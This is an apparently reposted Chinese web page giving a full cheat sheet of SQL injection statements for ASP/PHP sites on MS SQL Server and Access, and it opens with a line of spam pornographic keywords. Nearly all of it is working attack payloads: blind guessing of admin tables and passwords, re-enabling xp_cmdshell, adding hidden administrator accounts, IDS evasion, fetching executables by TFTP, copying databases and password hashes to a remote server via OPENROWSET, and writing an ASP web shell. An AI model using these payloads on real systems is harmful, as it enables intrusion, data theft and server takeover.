五月综合激情婷婷六月,日韩欧美国产一区不卡,他扒开我内裤强吻我下面视频 ,无套内射无矿码免费看黄,天天躁,日日躁,狠狠躁

新聞動(dòng)態(tài)

ASP+PHP 標(biāo)準(zhǔn)sql注入語句(完整版)

發(fā)布日期:2021-12-20 11:49 | 文章來源:站長(zhǎng)之家

1.判斷有無注入點(diǎn)
' ; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號(hào)數(shù)目 如果遇到0< 返回正確頁面 1<返回錯(cuò)誤頁面說明帳號(hào)數(shù)目就是1個(gè)
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號(hào)里面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(密碼字段名稱password)>0)

5.猜解各個(gè)字段的長(zhǎng)度 猜解長(zhǎng)度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 錯(cuò)誤
and 1=(select count(*) from admin where len(name)>5) 正確 長(zhǎng)度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯(cuò)誤 長(zhǎng)度是12
and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符

and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶帳號(hào)的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶帳號(hào)的第二位

就這樣一次加一個(gè)字符這樣猜,猜到夠你剛才猜出來的多少位了就對(duì)了,帳號(hào)就算出來了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)  -- 

這個(gè)查詢語句可以猜解中文的用戶和密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結(jié)果再轉(zhuǎn)換成字符.

'group by users.id having 1=1-- 
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')- 
UNION SELECT TOP 1 login_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'-- 

看服務(wù)器打的補(bǔ)丁=出錯(cuò)了打了SP4補(bǔ)丁

and 1=(select @@VERSION)--

看數(shù)據(jù)庫連接賬號(hào)的權(quán)限,返回正常,證明是服務(wù)器角色sysadmin權(quán)限。
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--

判斷連接數(shù)據(jù)庫帳號(hào)。(采用SA賬號(hào)連接 返回正常=證明了連接賬號(hào)是SA)

and 'sa'=(SELECT System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--

看xp_cmdshell是否刪除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--

xp_cmdshell被刪除,恢復(fù),支持絕對(duì)路徑的恢復(fù)

;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING自己實(shí)驗(yàn)

;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 

加帳號(hào)

;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--

創(chuàng)建一個(gè)虛擬目錄E盤:

;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認(rèn)Web站點(diǎn)" -v "e","e:\"'--

訪問屬性:(配合寫入一個(gè)webshell)

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

爆庫 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--

得到庫名(從1到5都是系統(tǒng)的id,6以上才可以判斷)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數(shù)據(jù)庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個(gè)表 假設(shè)為 admin 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' 
and uid>(str(id))) 暴到UID的數(shù)值假設(shè)為18779569 uid=id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè)admin的一個(gè)字段,假設(shè)為 user_id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
('id',...)) 來暴出其他的字段 
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名 

依次可以得到密碼。。。。。假設(shè)存在user_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值 
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路徑

;create table [dbo].[swap] ([swappass][char](255));-- 
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;-- 
;create table cmd (str image);-- 建立image類型的表cmd

存在xp_cmdshell的測(cè)試過程:

;exec master..xp_cmdshell 'dir' 
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號(hào)
;exec master.dbo.sp_password null,jiaoniang$,1866574;-- 
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- 
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';-- 
exec master..xp_servicecontrol 'start', 'schedule'  啟動(dòng)服務(wù)
exec master..xp_servicecontrol 'start', 'server' 
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add' 
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add' 
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'--  利用TFTP上傳文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\' 
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat'

如果被限制則可以。

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

查詢構(gòu)造:

SELECT * FROM news WHERE id=... AND topic=... AND ..... 
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>' 
select 123;-- 
;use master;-- 
:a' or name like 'fff%';-- 顯示有一個(gè)叫ffff的用戶哈。 
and 1<>(select count(email) from [user]);-- 
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';-- 
';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- 
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- 
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- 

上面的語句是得到數(shù)據(jù)庫中的第一個(gè)用戶表,并把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個(gè)用表叫ad
然后根據(jù)表名ad得到這個(gè)表的ID 得到第二個(gè)表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0 
;and (select count(*) from sysobjects)>0 
;and (select count(*) from mysysobjects)>0 //為access數(shù)據(jù)庫 

枚舉出數(shù)據(jù)表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

這是將第一個(gè)表名更新到aaa的字段處。
讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表,一個(gè)個(gè)的讀出,直到?jīng)]有為止。
讀字段是這樣:
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名

[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數(shù)據(jù)庫管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是SYSADMIN組]

[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]

繞過IDS的檢測(cè)[使用變量]

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\' 

1、 開啟遠(yuǎn)程數(shù)據(jù)庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' )
參數(shù): (1) OLEDB Provider name
2、 其中連接字符串參數(shù)可以是任何端口用來連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table'
3.復(fù)制目標(biāo)主機(jī)的整個(gè)數(shù)據(jù)庫insert所有遠(yuǎn)程表到本地表。
基本語法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2
這行語句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程數(shù)據(jù)庫中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')
select * from user_database.dbo.syscolumns
復(fù)制數(shù)據(jù)庫:
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table2') select * from database..table2

復(fù)制哈西表(HASH)登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,就可以進(jìn)行暴力破解。

遍歷目錄的方法: 先創(chuàng)建一個(gè)臨時(shí)表:temp
';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
';insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動(dòng)器
';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中
';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某個(gè)文件的內(nèi)容
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree適用權(quán)限PUBLIC)
寫入表:
語句1:and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
語句2:and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
語句3:and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
語句4:and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
語句5:and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
語句6:and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
語句7:and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
語句8:and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
語句9:and 1=(SELECT IS_MEMBER('db_owner'));--

把路徑寫到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'c:\'--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
and 0<>(select top 1 paths from dirs1)--

把數(shù)據(jù)庫備份到網(wǎng)頁目錄:下載
;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects) 參看相關(guān)表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)

-=- wscript.shell example -=-
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--

xp_dirtree適用權(quán)限PUBLIC
exec master.dbo.xp_dirtree 'c:\'
返回的信息有兩個(gè)字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,這里建的表是和上面xp_dirtree相關(guān)連,字段相等、類型相同。
insert dirs exec master.dbo.xp_dirtree 'c:\'
只要我們建表與存儲(chǔ)進(jìn)程返回的字段相定義相等就能夠執(zhí)行!達(dá)到寫表的效果,一步步達(dá)到我們想要的信息!

這里介紹的文章就用于交流學(xué)習(xí),請(qǐng)與用于非法用途。

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開通

自選配置、實(shí)時(shí)開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對(duì)1客戶咨詢顧問

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部